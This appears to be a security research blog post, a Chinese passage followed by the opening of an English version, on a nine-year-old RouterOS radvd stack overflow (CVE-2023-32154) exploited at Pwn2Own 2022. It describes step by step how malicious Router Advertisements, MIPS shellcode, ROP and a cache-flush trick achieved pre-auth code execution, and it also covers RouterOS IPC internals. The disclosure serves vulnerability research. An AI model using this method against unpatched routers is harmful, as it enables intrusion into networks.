  1. 在開啟這兩個服務時,discover 中的 handler 0 會負責去呼叫 nv::createPacketReceiver 來開啟 CDP 及 LLDP 使用的 socket 並且註冊分別對應的 callback function
  2. 在 Looper 的每次迭代中,程式會透過 poll 來檢查 CDP 及 LLDP socket 是否有收到封包
  3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

CDP 的 callback 做的事情也非常簡單:確定收到封包的 interface 是允許存取的,如果正確,就解析封包並直接把資訊直接存入 nv::ASecMap 接著就直接結束,過程中並不使用 nova message。

在此類情境中,IPC 除了用來開啟 CDP 或 LLDP 服務之外(預設開啟),完全無法觸發 CDP 或是 LLDP 的任何功能,因此以往專注於 IPC 的研究就很有可能沒有檢測到這種實作方式的程式邏輯。

Pre-Auth RCE 的故事

對於 RouterOS 的理解,也伴隨著一次驚喜的意外帶領我們找到深藏已久的漏洞。

賽前某一天,我們照常為了在 RouterOS 上進行逆向及除錯而插拔網路線時,發現 log file 紀錄到 radvd 這隻程式已經 crash 了好幾次!所以我們嘗試插拔網路線來手動復現 crash 的發生,搭配 debugger 使用就能定位到出問題的地方,但經過了上千次的插拔,我們還是無法確定 crash 產生的條件,只能任憑 crash 隨機的發生。

經過一段時間的掙扎後,我們停止透過這種盲目的嘗試來定位漏洞,轉而利用靜態逆向分析 radvd 來尋找 crash 產生的位置,雖然最後依舊沒找到造成 crash 的根因,但受益於我們對於 nova binary 的理解,我們在 radvd 中找到了另外一個可以利用的漏洞。

在介紹這個漏洞之前,必須得先介紹一下 radvd process 究竟是負責什麼功能的程式。

SLAAC (Stateless Address Auto-Configuration )

一言以蔽之,radvd 是一個負責處理 IPv6 的 SLAAC 的服務。

在 SLAAC 環境中,假設一台電腦想要取得一個 IPv6 的地址上網,他首先會向所有 router 廣播一個 RS(Router Solicitation)的請求。 在 Router 收到 RS 之後,就會透過 RA(Router Advertisement)將 network prefix 廣播出去;收到 RA 的電腦便可以拿 network prefix 以及 EUI-64 來自行決定自己用來連網的 IPv6 為何。

若 ISP 或是網管,想把一個網段分配給用戶,讓用戶可自行分配地址給用戶管理的機器,在只使用 SLAAC 而不輔以 DHCP 時,如何分配一個網段給使用者?因為 SLAAC 並沒有辦法直接委派,所以通常會是這麼運作的:

假設有一個 upstream router:Router A,它屬於 ISP 或網管、還有一台用戶自行管理的 Router B、一台用戶管理的電腦。ISP 或網管會預先透過 email 通知用戶一個分配給用戶使用的 /48 network preifx,這裡假設是 2001:db8::/48。用戶可以將之設定在 Router B 上,則當電腦向 Router B 發送 RS 時,Router B 就會把這個 prefix 放入 RA 中回傳,而這個 prefix 稱作 routed prefix。

同時為了讓使用者的 Router B 有辦法與 Router A 溝通,它也需要一個自己的 IPv6 地址,這時 Router B 從 Router A 拿到的 network prefix 就稱作 link prefix。

radvd 的執行流程

  1. radvd process 被啟動時,會透過 nv::ThinRunner::addSocket 來開啟 radvd 使用的 socket 並且註冊對應的 callback function
  2. 在 Looper 的每次迭代中會透過 poll 檢查 socket 是否有收到封包

  3. 如果發現有收到封包就會呼叫對應的 callback function 去進行處理

在 radvd 的 callback 中,它首先檢查封包是否是合法的 RA 或 RS,是 RA 就把資訊存起來;是 RS 就開始往 LAN 廣播 RA。

而總共有三種情況 RouterOS 會往 LAN 廣播 prefix:

  1. 從 LAN 收到 RS 封包
  2. 從 WAN 收到 RA 封包
  3. 定時在 LAN 廣播 RA 封包(預設隨機在 200~600 秒之後廣播一次)

不過在 callback 中我們沒有馬上透過靜態分析找到 case 2 發送 RA 的地方,當時我們還不確定具體原因。後來發現這部分的行為與 RouterOS IPC 中的訂閱機制有關,我們將會在後面的章節進行解釋,這同時也與我們發現的 race condition 相關。不過另外兩個情況我們到是可以直接透過靜態分析找到。

在 case 1 中,當從 LAN 收到 RS 時,radvd 會呼叫 sendRA 來廣播 RA 封包:

在 case 2 中,handler 1 在初始化後便會去註冊一個 timer,RAroutine:

RAroutine 被用來在每隔一段時間去呼叫 sendRA 來廣播封包:


可以發現共同的函式就是 sendRA,在深入分析 sendRA 之後,我們發現 radvd 在處理 DNS advisory 的地方存在弱點。

首先,radvd 會將 upstream 收到的 RA 中的 DNS advisory 儲存起來(使用 tree 作為資料結構),當 router 要往 LAN 廣播 RA 時,這些 DNS 也會被包進 RA 中一起被廣播給 LAN 的機器。在 radvd 中,是 addDNS 這個 function 將樹狀結構的 DNS 展開後放進 ICMPv6 的封包當中。用來傳遞給 addDNS 的第一個參數 RA_raw 是一個 4096 bytes 的 buffer,也就是最終被送出的 ICMPv6。

跟進 addDNS 後我們馬上可以發現這裡可能存在一個 stack buffer overflow 的弱點,addDNS 透過 memcpy 把 DNS 放進 ICMPv6 封包中而且沒有任何 boundary check,只要 DNS advisory 給的夠多就可以觸發 stack buffer overflow。

這裡使用的 DNS 來自於 RA 封包中的 RDNSS 欄位,但根據 RFC 可以發現,用來描述 RDNSS 長度的欄位只有 8-bit,所以最多僅能覆蓋 255*16 bytes,這個長度並無法使我們覆寫到 return address。

但如果這不是 radvd 第一次收到 RA,radvd 就需要在接下來的封包中將舊的 DNS 標為 expired,所以實際上我們可以覆蓋兩倍的長度,也就是 255*16*2 bytes,這就足以讓我們覆蓋到 return address 了。


有了上述的弱點,我們只要透過往目標 RouterOS 送兩個 RDNSS 欄位長度為 255 的惡意 RA 封包,就可以利用 RDNSS 中的 IPv6 地址來控制 radvd 程式的執行流程。


由於 RouterOS 使用 MIPS 的架構,所以 CPU 並不支援 NX ,但除此之外的保護也沒有被開啟。 所以只要找到好用的 ROP gadget 讓執行流程最終 jump 到我們放在 stack 上的 shellcode 就行了,聽起來極度簡單。

shellcode 限制

但是在構造 exploit 的過程中其實存在不少限制,例如,因為 IPv6 地址被儲存在 tree 結構中,所以會在排序後才放上 stack,因此我們必須保證我們建構的 payload 在經過排序之後還會是我們一開始構造的 shellcode。

最簡單的方法是把 IPv6 的 prefix 當作流水號,這樣可以保證我們構造的內容照順序排列,接者只要透過 ROP gadget 跳到後半段的 shellcode 上面就算完成了。而在撰寫 shellcode 時,我們只要把每個地址的 suffix 都構造成 jump ,用來跳過無法執行的流水號即可。

但由於 MIPS 存在 delay slot 機制的關係,CPU 實際上會先去執行 jump 指令的後一條指令。

所以我們必須把 jump 往前移動才行,但緊接著的問題便是:在 delay slot 中不能使用 syscall 這個指令。這種情境下,payload 構造起來相當麻煩之外,還可能會超過我們可以使用的長度,因此這從一開始就是個壞主意。

然而眼尖的朋友肯定已經發現了,這其實是 CTF 中常見的初學等級題目,只要讓 prefix 是一個合法且不影響執行結果的指令就好了,我們把 prefix 改成 addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3……,以此類推。除了 payload 會照排序排好之外,也節省了本來用來放 jump 指令的空間。

但我們還需要稍微修改一下 payload 才行,因為我們沒有 leak stack 位址的漏洞,加上我們找不到任何可用的 gadget 來把 stack 位址從 $sp 暫存器搬到 $t9 暫存器,所以我們這裡做的事情是:首先,透過 ROP gadget 把 jalr $sp 指令寫到一塊記憶體上,之後再用一個 ROP gadget 跳上去執行它,這樣就可以將執行流程導向我們構造的 shellcode,聽起來是一片光明的未來:

但光是這樣是無法順利執行 shellcode 的,因為 MIPS 針對記憶體的存取方式有兩個不同的 cache。


MIPS 上存在兩個 cache:I-cache(instruction cache)、D-cache(data cache)。

當我們把 jslr $sp 指令寫上記憶體時,實際上是寫到 D-cache 中。

而當我們接著把執行流程控制到 jslr $sp 的地址時,處理器會先去檢查這個地址的指令有沒有在 I-cache 當中,因為該位址位於 data section,在正常執行流程中肯定沒有被執行過,所以 cache 永遠都會 miss,因此處理器會接著將 memory 的內容載入 I-cache 當中。

此時因為 D-cache 的內容還沒有被更新到 memory 上,I-cache 只會抓到一堆 null bytes,也就是 MIPS 上的 nop,所以程式只會執行一堆毫無意義的 nop 直到 crash 為止。

在這裡我們需要使處理器將 D-cache 的內容寫回 memory,有兩個方法可以做到這件事情:context switch 或是用盡 D-cache 所有空間(32 KB)。觸發 context switch 是比較簡單的做法,但在 radvd 中並沒有任何 sleep 讓我們用來觸發 context switch,其他 function 雖然也會陷進 kernel,但 context switch 發生的機率並不高,為了角逐 Pwn2Own 冠軍,讓攻擊達到趨近 100% 成功的穩定度是必須的,因此我們轉而尋找耗盡 D-cache 的 32kb 容量的方法。

首先,透過簡單的檢查可以發現 RouterOS 的 radomize_va_space 變數是 1,表示 heap 的記憶體位址不是隨機的,因此不需要 leak 就可以知道 heap 所在位址,所以我們只要接著想辦法讓 heap 分配足夠大的空間,然後寫一些無關緊要的東西上去就可以耗盡 32kb 的 D-cache 了!不過 radvd 中並沒有太多好用的 ROP gadget,所以要構造這樣的 payload 需要串連更多 ROP gadget 才能達到同樣的目的,最終 payload 長度可能會超過我們可以覆蓋的長度。

幸運的是如同前面所說,DNS 被存放在 tree 結構中,所以儲存時就已經在 heap 中佔據一大塊記憶體,透過 gdb 逐步執行,我們可以確定在處理 DNS 時,heap 的空間已經比 32kb 還要大!因此我們只要接著透過 GOT hijack 呼叫 memcpy 往 heap 寫 32kb 的垃圾就可以了!

最後我們的 exploit 就完成了:

結合我們另外一個為了 Pwn2Own 找的 Canon printer 弱點,攻擊流程會是

  1. 攻擊者作為 router 的壞鄰居,對它發送惡意的 ICMPv6 封包
  2. 在成功控制 router 後,我們進行 port forwarding,把 payload 導向在 LAN 的 Canon 印表機。

在 Pwn2Own 的比賽環境中,網路環境可以被簡化得更簡單一點,如下:

Exploit 除錯過程

就在我們覺得 $100,000 的獎金已經到手的時候,不可思議的事情發生了,那就是我們的攻擊只要在 Ubuntu 上執行就會失敗,不管這個 Ubuntu 系統是在 MacOS 內的一台虛擬機器又或者是一台 Ubuntu 實機;而 Pwn2Own 官方,基本上是使用 Ubuntu 來執行我們的 exploit,所以我們必須要解決這個問題。

我們嘗試在 MacOS 上執行 exploit 並且紀錄網路封包,然後在 Ubuntu 上重放流量,可以觀察到重放會失敗:

我們也嘗試在 Ubuntu 上執行 exploit 並且記錄網路封包,當然在 Ubuntu 上是失敗的,但當我們在 MacOS 重放失敗的流量時,他竟然成功了:

到這裡我們猜測可能是其中一個 OS 在送出封包之前會對封包進行重新排序,而重新排序的這個行為或許在 wireshark 擷取到封包之後,所以才沒被 wireshark 紀錄到。因此我們直接寫了一個 sniffer 放在 router 上面來監控流量,且因為 AF_PACKET 類型的 socket 不會被防火牆規則影響,結果應該要非常可靠:


所以,exploit 目前只在我的 MacOS 上成功過,如果狀況不解決,唯一的方法就是我帶著我的 Mac 筆電飛去多倫多,在現場用我自己的筆電進行攻擊。但我們不可能放著這個成因不明的問題不管,誰知道會不會在比賽中也發生在我的筆電上,如果真的發生那就虧大了。

在經過幾次謹慎的復盤之後我們終於知道問題的成因了——速度。因為兩個 RA 封包送出時間間隔並不大,所以很難在 wireshark 的時間軸上直接看出來,但如果計算一下會發現,兩個所花費的時間其實相差了 390 倍。所以問題也不是出在 Ubuntu 上,而是因為 Mac 送兩個封包送的太快,不小心觸發了存在在 radvd 中的 race condition(加上極度懶惰的我沒有好好計算蓋到 return address 要花多少 bytes,直接在上面寫滿垃圾然後做 pattern match 而已,所以這個 offset 只在 race 的情況下才正確)。

解決方法就是在送出兩個 RA 封包之間 sleep 一下,並把 payload 中的 offset 修復成沒有 race 的情況下觀察到的 offset,就可以穩定我們的攻擊腳本,把成功機率提升到 100%。



  • Long-term Release 6.48.7
  • Stable Release 6.49.8, 7.10
  • Testing Release 7.10rc6

同時我們也發現這個漏洞從 RouterOS v6.0 就已經存在了,從官網可以發現 6.0 的發布日期是 2013-05-20,也就是說這個漏洞已經存在在那裡九年之久,卻沒有人發現他。

呼應到我們一開始的想法:「沒有任何理智正常的人想要花時間逆向 nova binary」,得證。

The race condition

然而這個妨礙我們輕鬆賺取 $100,000 的 race condition 是怎麼發生的?如前面所述,nova binary 中有一個 Looper 循環檢查當前有什麼事件發生,也就是説這是一個 single thread 的程式,那 race condition 是怎麼回事?(有些 nova binary 是 multi-fiber,但 radvd 並不是)

這就要提到一個剛才沒有提到的細節,當 radvd 在解析從 WAN 收到的 RA 封包時,DNS 是被存入一個 「vector」 當中,然而在準備 LAN 廣播用的 RA 封包時,addDNS 卻是把一個儲存了 DNS 的 「tree」給展開,所以這個 vector 跟 tree 之間是什麼關係?又是怎麼轉換過去的?

這也是為什麼我們沒有第一時間就在 callback 裡面找到「從 WAN 收到 RA 就會往 LAN 廣播 RA 封包」的邏輯,因為這是由兩個 process 在一陣複雜的互動之後所產生的結果。

我們仔細看一下 callback 具體上做了什麼,可以看到有一個 array 負責用來存放一種叫做「 remote object」的物件,這段程式碼看起來很直觀,就是迭代存有 DNS 的 vector,然後為每個 DNS 地址都呼叫一次 nv::roDNS,並把函式的執行結果保存在 DNS_remoteObject vector 當中。

remote object

所以什麼是 remote object?remote object 是 RouterOS 中用來跨 process 分享資源的一個機制:一個 process 負責保存共用資源,然後另外一個 prcoess 可以通過 id 向負責保存的 process 發送請求來進行增刪查改。 例如 DNS remote object 實際上放在 resolver process 中的 handler 2,而 radvd 的 handler 1 只是單純保有這些物件對應的 id 而已。

subscription and notification

當一個 remote object 被更新時,有些 process 可能會想要做出對應的行為,所以 nova binary 可以透過 IPC 事先訂閱其他 nova binary 中的 remote object。以 dhcp 及 ippool6 為例,ippool6 中的 handler 1 負責管理 ipv6 address pool,dchp process 會去訂閱 ippool6 的 handler 1,所以當 ipv6 address pool 有異動時,dhcp 可以檢查需不需要針對這些異動進行進一步的處理,例如關閉某個 dhcp server。

訂閱的這個行為是透過發送一個指令為 subscribe 的 nova message 給想要訂閱的 binary,當中的 SYS_NOTIFYCMD 包含了具體想要被通知的狀況是什麼。

所以在上述情況中,當有另外一個 process 往 ippool6 中增加 object 時,handler 1 的 cmdAddObj 函式會被執行。

在大部分情況裡,AddObj 固定會去呼叫 sendNotifies 來通知那些有訂閱 0xfe000b 事件的 subscribers,告訴他們訂閱的物件已被改動,所以 ippool6 這裡會送一個 nova message 給 dhcp process,告知物件被改動後的結果。

在理解了訂閱機制之後,我們可以更全面的理解 radvd 與 resolver 之間的互動如下:

當 radvd 從 WAN 收到 RA 封包後,它會對每個 IPv6 地址呼叫 roDNS 來請 resolver 建立相關的 remote object。而 resolver 中的 handler 4 會負責處理這個請求,並在 handler 2 中建立對應的 ipv6 object,接著因為 radvd 的 handler 1 訂閱了 resovler 的 handler 2,所以 resolver 的 handler 2 把目前擁有的所有 DNS address 推播給 radvd 的 handler 1,接著 handler 1 就依照他收到的 DNS address 構造 RA 封包,之後在 LAN 廣播該封包。

Race Condition 成因

Race condition 的問題實際上出在 roDNS 的實作,roDNS 中使用 postMessage 來發送 nova message,而這個方法是 non-blocking 的,表示 radvd 中的 remote object 並不會馬上知道它在 resolver 中對應的 id 是什麼。

因此若第二個封包太快到達,以至於 radvd 還無從得知 remote object 的 id 是什麼的時候,radvd 就沒有辦法第一時間確實的刪除這些物件,只能先將它們標記成 destroyed 進行軟刪除,這就造成了 race condition 的產生。


首先,因為兩個 process 都是 single thread,我們可以假設 radvd、resolver 兩個 process 現在正在執行他們的第一個 loop。

當 radvd 從 WAN 收到一個只有一個 DNS address 的 RA 時,radvd 會向 resolver 發送一個創建 remote object 的請求。

而 resolver 在收到第一個請求的同時會設定一個 timer,因爲在 IPC 的機制中,resolver 無法知道多少個 AddObj 請求屬於同一批,所以它非常簡單的設了一個一次性的 timer,時間到了才送出一次 notification。除此之外,每次 resolver 處理完單個創建的請求後應該要回傳一個 nova message 作為 response,通知 radvd 剛剛被新增的 remote object 的 id 是多少,而 radvd 會透過方才送出請求時一併註冊的一次性 ResponseHandler 來處理這個回應。

但如果第二個 RA 封包太快被送到,以至於 resolver 都還沒有把 id 透過 response 送回來時,radvd 只能先把舊的 DNS remote object 標記成 destroyed 進行軟刪除。

接著 radvd 繼續為收到的第二個 RA 封包中的 RDNSS 欄位建立新的 DNS remote object,但由於 resolver 還沒有結束第一個迭代,所以這個新的請求會停留在 socket 裡面等待下一個迭代才處理。

接下來回到 resolver,第一個迭代以回傳 id 給 radvd 做收尾,radvd 的 ResponseHandler 會根據拿到的 id 去更新 remote object,但由於對應的 remote object 已經被標記成刪除,所以 ResponseHandler 不會去更新 object id,而是直接刪除該 object。

ResponseHandler 在刪除完 radvd 中保存的 remote object 之後,會發送一個 delete object 的 message 給 resolver,告知它對應的 remote object 已經不再使用所以要進行刪除,但一樣會先卡在 socket 裡面等待處理

接著 resolver 進入了第二次迭代,它會先拿到 socket 中為了第二個 RA 創建 remote object 的請求,為第二個 RA 的 DNS 創建對應的 remote object:

但在接著處理 delete 請求之前,先前設定的 timer 時間到了,所以resolver 會呼叫 nv::Handler::sendChanges 來通知所有的訂閱者現在 resolver 知道的 DNS 有哪些,因為 object 1 還沒有被刪除,因此 resolver 會把兩次的請求創建的 DNS 通通都推播出去。

radvd 在收到這樣的資訊之後就會馬上構造用來在 LAN 廣播的 RA 封包,此時兩次的請求結果被混在一起了,這也就是為什麼一開始我們的攻擊只會在 MacOS 上成功的原因。雖然這個 race condition 聽起來很難觸發(刪除請求比 timer 先進行處理的話就不會觸發),但這是因為方便解釋,所以整個流程被我們大幅簡化了,實際上只要兩個封包到達的時間間隔夠短這個 race 就一定會成功。


透過上面的分析,我們在 RouterOS 的 remote object 機制中找到了一個 race condition 的 pattern:

  • 在新增/刪除 remote object 時,使用了 non-blocking 的方法
  • 有訂閱 remote object

透過這類型的漏洞,攻擊者可以將兩次請求的結果混合成一個回傳,或許可以作為一個用來繞過某些安全性檢查的手法。如果順利找到可利用的漏洞,我們還可以用來參加 Pwn2Own 當中的 router 類別中的 LAN 項目。

然而最後時間緊迫,我們並沒有透過 race condition 找到可以利用的漏洞。而且禍不單行,在報名準備截止時,我們才發現這幾個月來被我們測試了上百次的 exploit 存在一些問題,就在報名截止的三個小時前像鬼打牆一樣,怎麼打怎麼失敗,簡直就是數位世代的逢魔時刻,我們一直更新 exploit 並且不斷更新準備上交的漏洞白皮書,一直到報名前止的半小時前(凌晨四點截止)才順利完成。

但是非常幸運的,我們在賽中僅嘗試一次就順利的完成了攻擊,成為 Pwn2Own 歷史上第一組完成 SOHO SMASHUP 這個新類別的隊伍:

我們在這個項目中獲得了 10 點 Master of Pwn 點數還有 $100,000 美金的獎金,最終在比賽結算時,DEVCORE 以 18.5 個 Master of Pwn 點數奪下冠軍。

冠軍除了獲得 Master of Pwn 的頭銜、獎杯、外套之外,照慣例,主辦方還會各寄一台我們打下的設備過來。



在本次研究中,我們對 RouterOS 進行了深入探討,進而揭露了一個潛藏在 RouterOS 內長達九年的安全漏洞,並成功利用該漏洞在 Pwn2Own Toronto 2022 的賽事中奪下 SOHO SMASHUP 的項目。此外,我們還在 IPC 中發現了一種導致 race condition 的行為模式。最後,我們也將賽事中使用的工具開源於 https://github.com/terrynini/routeros-tools ,供大家參考。

通過本次研究及分享,DEVCORE 希望分享我們的發現和經驗,從而協助白帽駭客深入了解 RouterOS,使之變得更加透明易懂。

Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS

23 May 2024 at 16:00

English Version, 中文版本


DEVCORE research team found a 9-year-old WAN bug on RouterOS, the product of MikroTik. Combined with another bug of the Canon printer, DEVCORE becomes the first team ever to successfully complete an attack chain in the brand new SOHO Smashup category of Pwn2Own. And DEVCORE also won the title of Master of Pwn in Pwn2Own Toronto 2022.

The vulnerability occurs in the radvd of RouterOS, which does not check the length of the RDNSS field when processing ICMPv6 packets for IPv6 SLAAC. As a result, an attacker can trigger the buffer overflow by sending two crafted Router Advertisement packets, that allows an attacker to gain full control over the underlying Linux system of the router without logging in and without user interaction. This vulnerability was assigned as CVE-2023-32154 with a CVSS score of 7.5.

The vulnerability was reported to MikroTik by ZDI on 2022/12/29 and patched on 2023/05/19. It has been patched in the following RouterOS releases:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8
  • Stable Release 7.10
  • Testing Release 7.10rc6

Pwn2Own SOHO Smashup

Pwn2Own is a series of contests organized by The Trend Micro Zero Day Initiative (ZDI). They pick popular products as targets for different categories, such as: operating systems, browsers, electric cars, industrial control systems, routers, printers, smart speakers, smartphones, NAS, webcams, etc.

As long as the participants can exploit a target without user interaction while the device is in its default state and the software is updated to the latest version, the team will receive the corresponding Master of Pwn points and bounty. And the team which has the highest Master of Pwn points will be the winner, who is also known as the “Master of Pwn.”

Due to the epidemic, Work From Home or SOHO (Small Office/Home Office) has become very common. Consider that, the Pwn2Own Toronto 2022 has a special category called SOHO Smashup, in which participants need to hack routers from the WAN side, and then use the router as a trampoline to attack common household devices in LAN, such as smart speakers, printers, etc.

In addition to the second highest prize of $100,000 (USD), the SOHO Smashup also has the highest score of 10, so if you’re aiming to win, you’ll want to complete this category! We’ve also chosen the lesser-explored MikroTik’s RouterBoard as the target to avoid bug collisions with others (both the bounty and score are halved when you have a collision with someone else).


The RouterOS is based on the Linux kernel and it’s also the default operating system of MikroTik’s RouterBoard. It can also be installed on a PC to turn it into a router.

Though the RouterOS do use some GPL-License software, according to the downloadterms page from MikroTik’s website, you have to pay $45 to MikroTik for sending a CD with GPL source, very interesting.

Glad that there is already a nice guy who uploaded the GPL source on the Github, though they didn’t help much on reversing the RouterOS.

RouterOS v7 and RouterOS v6

There are two versions of RouterOS on the download page of MikroTik’s website: RouterOS v7 and RouterOS v6. They are more like two branches of the RouterOS and share a similar design pattern. Because the default installed version of our target, RB2011UiAS-IN, is RouterOS v6, we focus on that version.

RouterOS does not provide a formal way for users to manipulate the underlying Linux system, and users are trapped in a restricted console with a limited number of commands to manage the router, so there has been a lot of research on how to jailbreak RouterOS.

The binary on the RouterOS uses a customized IPC to communicate with each other, and the IPC uses the “nova message” format to pack messages. So we call such kinds of binary “nova binary” afterward.

Besides, the RouterOS has a special attack surface. The user can manage a RouterOS device remotely from a Windows computer with a GUI tool, WinBox, by sending a nova message through the TCP. So, if the RouterOS fails to validate the privilege of a nova message, the attacker can possibly invade the router by sending a crafted nova message from remote, but it’s not a top priority because the WinBox is unavailable from WAN by default.

Review of Related CVEs

We started by reviewing the CVEs in the past few years. There were 80 CVEs related to RouterOS at that time, of which 28 targeted the router itself in pre-auth scenarios.

4 out of the 28 CVEs are in scenarios that are more in line with the Pwn2Own rules, which means these vulnerabilities could allow an attacker to spawn a shell on the router or log in as admin without user interaction. Three of the vulnerabilities were discovered between 2017 and 2019, and three of these were discovered “in the wild.” These four vulnerabilities are:

  • CVE-2017-20149: Also known as Chimay-Red, this is one of the leaked vulnerabilities from the CIA’s “Vault 7” in 2017. The vulnerability occurs when RouterOS parses HTTP requests, and if the Content-Length in the HTTP headers is negative, it will cause Integer Underflow, which together with the Stack Clash attack technique can control the program flow to achieve RCE.
  • CVE-2018-7445: A buffer overflow in the SMB service of RouterOS, which found by black-box fuzzing and is the only one of the four vulnerabilities that was reported by the discoverer. Though the SMB is not enabled defaultly.
  • CVE-2018-14847: Also the one of the leaked vulnerabilities from the “Vault 7”, which could allow an attacker to achieve arbitrary file read. Which doesn’t sound like a big problem, but because in the earlier version of RouterOS, the user’s password was stored in a file as password xor md5(username + "283i4jfkai3389"), the attacker can calculate the password of admin as long as the attacker can read the file.
  • CVE-2021-41987:A heap buffer overflow vulnerability in the base64 decoding process of the SCEP service due to a length miscalculation. The vulnerability was discovered after security researchers analyzed an APT’s exploit on its C2 server.

As we can see, most of these vulnerabilities are “in the wild.” We can only learn limited knowledge about analyzing and reversing the RouterOS.

Review of Related Research

We continue to seek out publicly available research materials, and we have these articles and presentations available at the time of the competition:

Review of the IPC and the Nova Message

Most of the research centers around RouterOS’s homebrew IPC, so we also took some time to review it. Here is a simple example to explain the main idea of the IPC.

Normally, a user can log in to the RouterOS through telnet, and manage the router by console.

Let’s follow the procedure step by step:

  1. When the user tries to access the console of RouterOS through the telnet. The telnet process will spawn the login process by execl, which asks the user for account and password.
  2. After getting the account and password, the login would pack that info into a nova message, and send it to the user process for authentication.
  3. The user process returns the result by sending back a nova message
  4. If the login succeeds, the console process is spawned, and the user interaction with the console is actually proxied through the login process.


The above example simply describes the basic concept of IPC, but the communication between the two processes is actually more complex.

Every nova message would be sent to the loader process through the socket first, then the loader dispatches each nova message to the corresponding nova binary.

Suppose the id of the login process is 1039, the id of the user process is 13, and the handler with id 4 in the user process is responsible for verifying the account and password.

Firstly, the login process sends a request with an account and password to the user process, so the SYS_TO in nova message is an array with two elements 13, 4, which means that the message should be sent to the handler with id 4 in the process with binary id 13.

When loader receives the message, it will remove the 13 in SYS_TO of the message which represents the target binary id, and add the source binary id in SYS_FROM, which is 1039, and then send the message to the user process.

The user process does a similar thing when it receives a message: removing the 4 from SYS_TO that represents the target handler id and sending the nova message to handler 4 for processing.

Nova Message

The nova message used in IPC is initialized and set by nv::message and related functions. Nova message is composed of typed key-value pairs, and the key can only be an integer, so keys such as SYS_TO and SYS_FROM are just simple macros.

The types that can be used in a nova message include u32, u64, bool, string, bytes, IP and nova message (i.e. you can create a nested nova message).

Because the RouterOS doesn’t use nova messages in JSON anymore, we only focus on the binary format of it.

During IPC communication, the receiver’s socket receives an integer that expresses the length of the current nova message, followed by the nova message in binary format.

The nova message starts with two magic bytes: M2. Next, each key is described by 4 bytes; the first 3 bytes are used to express the id of the key, and the last byte is the type of the key. Depending on the type, the next bytes will be parsed differently as data, and the next key will come after data, and so on. A special feature is that a bool can be represented by only one bit, so the lowest bit of the type is used to represent True/False. For a more detailed format, see Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight:

The x3 format

In order to understand which nova binary the ids in the SYS_TO and the SYS_FROM in the nova message refer to, we need to parse a file with the extension x3, which is an xml in binary format. By parsing the /nova/etc/loader/system.x3 with the tool, we can map which nova binary each id corresponds to.

The id of some binaries are absent in this file, because some of them have been made available by installing an official RouterOS package. In which case the binary’s id will exist in the /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3. The radvd is an example.

However, there are still some id of binaries that cannot be found in any .x3 files because these types of processes are not persistent, e.g., the login process, which is only spawned when the user tries to log in and uses a serial number as its id.

The .x3 file is also used to record nova binary related settings, e.g. www specifies in .x3 which servlet should be used for each URI.


After reviewing the research and CVEs from the past, we can see that most vulnerabilities we are interested in have been concentrated in the past, and it seems to be difficult to find pre-auth vulnerabilities on the WAN side of RouterOS nowadays.

While vulnerabilities continue to be revealed, the RouterOS is becoming more and more secure. Is it true that there are no more pre-auth vulnerabilities on the RouterOS? Or maybe it’s just that everyone is missing something?

Most of the public research mentioned earlier falls into the following three categories:

  • Jailbreaking
  • The analysis of the exploits in the wild
  • The nova message in the IPC

However, after reversing the binary on RouterOS for a while, we realized that the complexity of the whole system was more than that, but no one mentioned the details. This led to the following thought: “No one with sanity would like to dive into the details of nova binary”.

Aside from the exploits leaked from the CIA and APT, most of the research about finding vulnerabilities in RouterOS are: fuzzing network protocols, playing with nova messages, or performing fuzzing tests on nova messages.

By the outcome, it seems that attackers understand the RouterOS much better than we do, and we need to explore more details about the nova binary to fill in the gaps and increase the possibility to find the vulnerabilities we are looking for. Don’t get me wrong. I don’t against fuzzing. But we must ensure we check everything essential to take advantage of the contest.

Where to begin

We don’t think the RouterOS is flawless, there is a gap between researchers’ and attackers’ understanding of RouterOS. So, what are we missing to find pre-auth RCE on RouterOS?

The first question that comes to mind is “where is the entry point of IPC and where does it lead?” Because most of the functionality triggered by IPC requires login, it is to be expected that sticking to IPC will only lead to more findings in post-auth. IPC is just one part of the main functionality implemented on RouterOS, and we would like to look at the core code of each functionality directly and carefully.

For example, how do the process that deal with DHCP extract the info needed in a DHCP packet? This information may be stored directly in the process, or may need to be sent to other processes via IPC for further processing.

The Architecture of Nova Binary

Hence, we must first understand the architecture of the nova binary. Each nova binary has an instance of the Looper class (or a derivative of it: MultifiberLooper), which is a class for event loop logic. In each iteration, it calls runTimer to execute the timer that is expired, and use poll to check the status of the sockets then process them accordingly.

Looper is responsible for the communication between its nova binary and the loader. Looper first registers a special callback function: onMsgSock, which is responsible for dispatching the nova message received from the socket to the corresponding handler in the nova binary.

The Handler class and its derivatives

When a looper receives a nova message, it will dispatch it to the corresponding handler, e.g., a message with SYS_TO of [14, 0] will be dispatched by the loader to a nova binary with a binary id of 14. By the time the looper in the binary with a binary id of 14 receives it, SYS_TO has [0] left, so the looper will dispatch it to handler 0 for processing. If the SYS_TO in the initial nova message is [14], then the looper receives it with SYS_TO as [], and the looper handles this message on its own.

Now let’s assume that the Looper receives a nova message that should be handled by handler 1 and dispatches it to handler 1. At this point, handler 1 calls the methods nv::Handler::handleCmd in the vtable of the handler class, which looks for the corresponding function to execute in the vtable based on the SYS_CMD specified in the nova message.

The cmdUnknown in the vtable is often overridden to extend the functionality, but sometimes the developer overrides handleCmd instead, depending on the developer’s mood. The handler class is a base class, so commands related to objects are not implemented.

Derived class

However, the basic handler class is not the most used one in nova binaries, but rather a derivative of it. Derived classes can be used to store multiple objects of a single type, similar to C++ STL containers.

For example, when a user creates a DHCP server through the web panel, a nova message with the command “add object” is sent to handler 0 of the dhcp process, which then creates a dhcp server object. And the object will be stored in a tree of handler 0.

The handler 0 here is an instance of AMap, AMap is a derived class of Handler. Since the command is “add object”, it triggers the member function AMap::cmdAddObj, which calls a function at offset 0x7c in handler 0’s vtable. And that function is actually the constructor of the object contained in AMap. For example, if the developer defines handler 0 to be of type AMap<string>, then the function at offset 0x7c is the constructor of the string.

The offset of the constructor of the inner object in the vtable is different for each derived class, and locating the constructor to determine what type of objects are contained in the derived class can be done by reversing their individual cmdAddObj function.

IPC, and something other than IPC

Some of the functions in RouterOS are not driven by IPC. Take the two layer 2 discovery protocols, CDP and LLDP, implemented in the discover program as an example.

  1. When starting the two services, handler 0 will be responsible for calling nv::createPacketReceiver to open the sockets and register the callback functions for CDP and LLDP.
  2. In each iteration of the Looper, call poll to check if the sockets of CDP and LLDP have received any packets.
